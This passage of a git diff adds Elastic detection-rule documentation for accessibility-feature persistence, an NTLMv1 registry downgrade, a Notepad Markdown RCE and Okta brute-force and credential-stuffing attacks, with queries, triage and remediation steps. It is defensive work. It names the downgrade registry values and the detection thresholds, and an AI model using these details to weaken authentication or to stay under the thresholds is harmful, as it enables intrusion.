suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("Utilman.exe", "winlogon.exe") and user.name == "SYSTEM" and + process.pe.original_file_name : "?*" and + process.args : + ( + "C:\\Windows\\System32\\osk.exe", + "C:\\Windows\\System32\\Magnify.exe", + "C:\\Windows\\System32\\Narrator.exe", + "C:\\Windows\\System32\\Sethc.exe", + "utilman.exe", + "ATBroker.exe", + "DisplaySwitch.exe", + "sethc.exe" + ) + and not process.pe.original_file_name in + ( + "osk.exe", + "sethc.exe", + "utilman2.exe", + "DisplaySwitch.exe", + "atbroker.exe", + "ATBroker.exe", + "ScreenMagnifier.exe", + "SR.exe", + "Narrator.exe", + "magnify.exe", + "MAGNIFY.EXE" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Accessibility Features +** ID: T1546.008 +** Reference URL: https://attack.mitre.org/techniques/T1546/008/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Accessibility Features +** ID: T1546.008 +** Reference URL: https://attack.mitre.org/techniques/T1546/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-netntlmv1-downgrade-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-netntlmv1-downgrade-attack.asciidoc new file mode 100644 index 0000000000..caeb97355a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-netntlmv1-downgrade-attack.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-potential-netntlmv1-downgrade-attack]] +=== Potential NetNTLMv1 Downgrade Attack + +Identifies registry modification to force the system to fall back to NTLMv1 for authentication. This modification is possible with local administrator privileges and is commonly referred to as a `NetNTLMv1 downgrade attack`. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential NetNTLMv1 Downgrade Attack* + + + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the LmCompatibilityLevel value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent remote authentication attempts or sessions on the affected host to determine if unauthorized access was achieved. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. +- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Administrative changes to LmCompatibilityLevel settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts. +- Software updates or installations that modify NTLM settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows. +- Automated scripts or management tools that adjust NTLM configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Re-enable NTLMv2 on the affected system by modifying the registry value back to its secure state. +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.value == "LmCompatibilityLevel" and registry.data.strings in ("2", "1", "0", "0x00000002", "0x00000001", "0x00000000") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Downgrade Attack +** ID: T1562.010 +** Reference URL: https://attack.mitre.org/techniques/T1562/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-notepad-markdown-rce-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-notepad-markdown-rce-exploitation.asciidoc new file mode 100644 index 0000000000..6561200937 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-notepad-markdown-rce-exploitation.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-potential-notepad-markdown-rce-exploitation]] +=== Potential Notepad Markdown RCE Exploitation + +Identifies a process started by Notepad after opening a Markdown file. This may indicate successful exploitation of a Notepad markdown parsing vulnerability (CVE-2026-20841) that can lead to arbitrary code execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Notepad Markdown RCE Exploitation* + + +This rule detects a new child process launched by `notepad.exe` when Notepad was opened with a Markdown (`.md`) file. +This behavior can indicate exploitation of a Notepad remote code execution vulnerability where crafted Markdown content +triggers unintended process execution. + + +*Possible investigation steps* + + +- Validate the parent-child relationship and confirm `notepad.exe` is the direct parent of the suspicious process. +- Review the full command line of both parent and child processes, including the Markdown file path in `process.parent.args`. +- Identify the Markdown file source (email attachment, browser download, chat client, removable media, or network share). +- Inspect process ancestry and descendants for additional payload execution, script interpreters, or LOLBIN activity. +- Correlate with file, registry, and network events around the same timestamp to identify follow-on behavior. +- Determine whether the child process and its execution path are expected in your environment. + + +*False positive analysis* + + +- Legitimate automation or editor extensions may occasionally spawn helper processes from Notepad workflows. +- User-driven workflows that invoke external tools from Markdown previews can trigger this behavior. +- If benign, tune by excluding known-safe child process names, hashes, signed binaries, and approved file paths. + + +*Response and remediation* + + +- Isolate affected endpoints until scope is understood. +- Terminate suspicious child and descendant processes initiated from `notepad.exe`. +- Quarantine and preserve the triggering Markdown file for forensic analysis. +- Run endpoint malware scans and collect volatile artifacts (running processes, network connections, autoruns). +- Patch Windows/Notepad to the latest security update level addressing the vulnerability. +- Hunt for the same parent-child pattern across other hosts to identify additional impacted systems. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "notepad.exe" and process.parent.args : "*.md" and + not process.executable : "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_*\\Notepad\\Notepad.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-device-token-rotation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-device-token-rotation.asciidoc new file mode 100644 index 0000000000..6c9860bdad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-device-token-rotation.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-potential-okta-brute-force-device-token-rotation]] +=== Potential Okta Brute Force (Device Token Rotation) + +Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Brute Force (Device Token Rotation)* + + +This rule identifies excessive unique device token hashes generated for a single user account, indicating automated brute force tooling that fails to persist browser cookies between authentication attempts. + + +*Possible investigation steps* + +- Identify the targeted user account and determine if it has elevated privileges or sensitive access. +- Review the source IP and check if it belongs to known proxy, VPN, or cloud infrastructure. +- Examine user agent strings for signs of automation, scripting tools, or inconsistent browser fingerprints. +- Check if Okta flagged the source as a known threat or proxy. +- Determine if any authentication attempts succeeded following the failed attempts. +- Review the user's recent activity for signs of account compromise. + + +*False positive analysis* + +- Users experiencing login issues may generate multiple device tokens through repeated legitimate attempts. +- Automated testing or monitoring tools that do not persist cookies may trigger this rule. +- Browser extensions or privacy tools that clear cookies between requests may cause device token rotation. + + +*Response and remediation* + +- If attack is confirmed, reset the user's password immediately. +- Block the source IP at the network perimeter. +- Review and potentially reset MFA for the targeted account. +- Monitor for any successful authentication that may indicate compromise. +- Contact the user to verify if they experienced legitimate login issues. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + // Primary authn endpoint; sessions API provides additional coverage + AND ( + okta.debug_context.debug_data.request_uri == "/api/v1/authn" + OR okta.debug_context.debug_data.request_uri LIKE "/api/v1/sessions*" + ) +// Track whether each event has a device token +| EVAL has_dt_hash = CASE(okta.debug_context.debug_data.dt_hash IS NOT NULL, 1, 0) +// Aggregate by IP + user to detect single-user brute force +| STATS + Esql.unique_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.total_attempts = COUNT(*), + Esql.attempts_with_dt = SUM(has_dt_hash), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.dt_hash_values = VALUES(okta.debug_context.debug_data.dt_hash), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.client.ip, okta.actor.alternate_id +// Calculate automation detection metrics (float-safe division) +| EVAL Esql.dt_coverage = Esql.attempts_with_dt * 1.0 / Esql.total_attempts, + Esql.dt_per_attempt = Esql.unique_dt_hashes * 1.0 / Esql.total_attempts +// Detection branches: +// A) Many unique DT hashes relative to attempts = tooling generating new tokens per attempt +// B) High attempts + very low DT coverage = cookie-less automation (no DT sent at all) +// C) Multiple user agents for same user = evasion or automation +| WHERE + (Esql.unique_dt_hashes >= 7 AND Esql.total_attempts >= 10 AND Esql.dt_per_attempt >= 0.5) + OR (Esql.total_attempts >= 12 AND Esql.dt_coverage < 0.15) + OR (Esql.total_attempts >= 10 AND Esql.unique_user_agents >= 5) +| SORT Esql.total_attempts DESC +| KEEP Esql.*, okta.client.ip, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-multi-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-multi-source.asciidoc new file mode 100644 index 0000000000..182a23484e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-brute-force-multi-source.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-potential-okta-brute-force-multi-source]] +=== Potential Okta Brute Force (Multi-Source) + +Detects potential brute force attacks against a single Okta user account from multiple source IPs, indicating attackers rotating through proxy infrastructure to evade IP-based detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Brute Force (Multi-Source)* + + +This rule identifies a single user account receiving failed authentication attempts from multiple unique source IPs. This pattern indicates attackers rotating through proxy infrastructure to evade IP-based detection while targeting a specific account. + + +*Possible investigation steps* + +- Identify the targeted user account and determine if it has elevated privileges or sensitive access. +- Review the geographic distribution of source IPs for anomalies such as multiple countries or unusual locations. +- Examine the ASN ownership of source IPs for signs of proxy, VPN, or cloud infrastructure. +- Check if Okta flagged any of the sources as known threats or proxies. +- Determine if any authentication attempts succeeded following the failed attempts. +- Review the user's recent activity for signs of account compromise. + + +*False positive analysis* + +- Users traveling internationally with mobile devices may generate failed attempts from multiple locations. +- Service accounts accessed from distributed legitimate infrastructure may trigger this rule. +- Corporate VPN exit nodes spread across regions could appear as multiple IPs for a single user. + + +*Response and remediation* + +- If attack is confirmed, reset the user's password immediately. +- Review and potentially reset MFA for the targeted account. +- Block attacking IP addresses at the network perimeter. +- Consider implementing geo-restrictions for the targeted account if dispersed access is not expected. +- Monitor for any successful authentication that may indicate compromise. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + +// Create source mapping for analyst context +| EVAL Esql.source_info = CONCAT( + "{\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"country\":\"", COALESCE(client.geo.country_name, "unknown"), + "\",\"asn\":\"", COALESCE(source.as.organization.name, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) + +| STATS + Esql.unique_source_ips = COUNT_DISTINCT(okta.client.ip), + Esql.total_attempts = COUNT(*), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.unique_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.unique_asns = COUNT_DISTINCT(source.as.number), + Esql.unique_countries = COUNT_DISTINCT(client.geo.country_name), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.source_ip_values = VALUES(okta.client.ip), + Esql.source_mapping = VALUES(Esql.source_info), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.actor.alternate_id + +| EVAL + Esql.attempts_per_ip = Esql.total_attempts * 1.0 / Esql.unique_source_ips, + Esql.duration_seconds = DATE_DIFF("seconds", Esql.first_seen, Esql.last_seen) + +| WHERE + Esql.unique_source_ips >= 5 + AND Esql.total_attempts >= 10 + AND ( + Esql.unique_countries >= 2 OR + Esql.unique_asns >= 3 OR + Esql.unique_source_ips >= 8 OR + Esql.unique_user_agents >= 3 + ) + +| SORT Esql.unique_source_ips DESC +| KEEP Esql.*, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-credential-stuffing-single-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-credential-stuffing-single-source.asciidoc new file mode 100644 index 0000000000..73d92d92c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-okta-credential-stuffing-single-source.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-21-potential-okta-credential-stuffing-single-source]] +=== Potential Okta Credential Stuffing (Single Source) + +Detects potential credential stuffing attacks where a single source IP attempts authentication against many Okta user accounts with minimal attempts per user, indicating the use of breached credential lists. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Credential Stuffing (Single Source)* + + +This rule identifies a single source IP attempting authentication against many user accounts with minimal attempts per user. This pattern indicates credential stuffing where attackers rapidly test breached username and password pairs. + + +*Possible investigation steps* + +- Identify the source IP and determine if it belongs to known proxy, VPN, or cloud infrastructure. +- Review the list of targeted user accounts and check if any authentications succeeded. +- Examine the user agent strings for signs of automation or scripting tools. +- Check if Okta flagged the source as a known threat or proxy. +- Determine if any targeted accounts have elevated privileges or access to sensitive systems. +- Review the geographic location and ASN of the source IP for anomalies. + + +*False positive analysis* + +- Corporate proxies or VPN exit nodes may aggregate traffic from multiple legitimate users. +- Shared systems such as kiosks or conference room computers may have multiple users authenticating. +- Legitimate SSO integrations may generate multiple authentication attempts from a single source. + + +*Response and remediation* + +- If attack is confirmed, block the source IP at the network perimeter. +- Reset passwords for any accounts that may have been compromised. +- Enable or strengthen MFA for targeted accounts. +- Review Okta sign-on policies to add additional friction for suspicious authentication patterns. +- If this is a known legitimate source, consider adding an exception for the IP or ASN. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL +// Build user-source context as JSON for enrichment +| EVAL Esql.user_source_info = CONCAT( + "{\"user\":\"", okta.actor.alternate_id, + "\",\"ip\":\"", COALESCE(okta.client.ip::STRING, "unknown"), + "\",\"user_agent\":\"", COALESCE(okta.client.user_agent.raw_user_agent, "unknown"), "\"}" + ) +// FIRST STATS: Aggregate by (IP, user) to get per-user attempt counts +// This prevents skew from outlier users with many attempts +| STATS + Esql.user_attempts = COUNT(*), + Esql.user_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.user_source_info = VALUES(Esql.user_source_info), + Esql.user_agents_per_user = VALUES(okta.client.user_agent.raw_user_agent), + Esql.devices_per_user = VALUES(okta.client.device), + Esql.is_proxy = VALUES(okta.security_context.is_proxy), + Esql.geo_country = VALUES(client.geo.country_name), + Esql.geo_city = VALUES(client.geo.city_name), + Esql.asn_number = VALUES(source.as.number), + Esql.asn_org = VALUES(source.as.organization.name), + Esql.threat_suspected = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons = VALUES(okta.debug_context.debug_data.risk_reasons), + Esql.event_actions = VALUES(event.action), + Esql.first_seen_user = MIN(@timestamp), + Esql.last_seen_user = MAX(@timestamp) + BY okta.client.ip, okta.actor.alternate_id +// SECOND STATS: Aggregate by IP to detect credential stuffing pattern +// Now we can accurately measure the distribution of attempts across users +| STATS + Esql.unique_users = COUNT(*), + Esql.total_attempts = SUM(Esql.user_attempts), + Esql.max_attempts_per_user = MAX(Esql.user_attempts), + Esql.min_attempts_per_user = MIN(Esql.user_attempts), + Esql.avg_attempts_per_user = AVG(Esql.user_attempts), + Esql.users_with_single_attempt = SUM(CASE(Esql.user_attempts == 1, 1, 0)), + Esql.users_with_few_attempts = SUM(CASE(Esql.user_attempts <= 2, 1, 0)), + Esql.first_seen = MIN(Esql.first_seen_user), + Esql.last_seen = MAX(Esql.last_seen_user), + Esql.target_users = VALUES(okta.actor.alternate_id), + Esql.user_source_mapping = VALUES(Esql.user_source_info), + Esql.event_action_values = VALUES(Esql.event_actions), + Esql.user_agent_values = VALUES(Esql.user_agents_per_user), + Esql.device_values = VALUES(Esql.devices_per_user), + Esql.is_proxy_values = VALUES(Esql.is_proxy), + Esql.geo_country_values = VALUES(Esql.geo_country), + Esql.geo_city_values = VALUES(Esql.geo_city), + Esql.source_asn_values = VALUES(Esql.asn_number), + Esql.source_asn_org_values = VALUES(Esql.asn_org), + Esql.threat_suspected_values = VALUES(Esql.threat_suspected), + Esql.risk_level_values = VALUES(Esql.risk_level), + Esql.risk_reasons_values = VALUES(Esql.risk_reasons) + BY okta.client.ip +// Calculate stuffing signature: most users should have very few attempts +| EVAL Esql.pct_users_few_attempts = Esql.users_with_few_attempts * 100.0 / Esql.unique_users +// Credential stuffing: many users, most with 1-2 attempts each, low max per user +// Stacked stats gives us accurate per-user distribution instead of skewed averages +| WHERE + Esql.total_attempts >= 25 + AND Esql.unique_users >= 15 + AND Esql.max_attempts_per_user <= 2 + AND Esql.pct_users_few_attempts >= 80.0 +| SORT Esql.unique_users DESC +| KEEP Esql.*, okta.client.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential 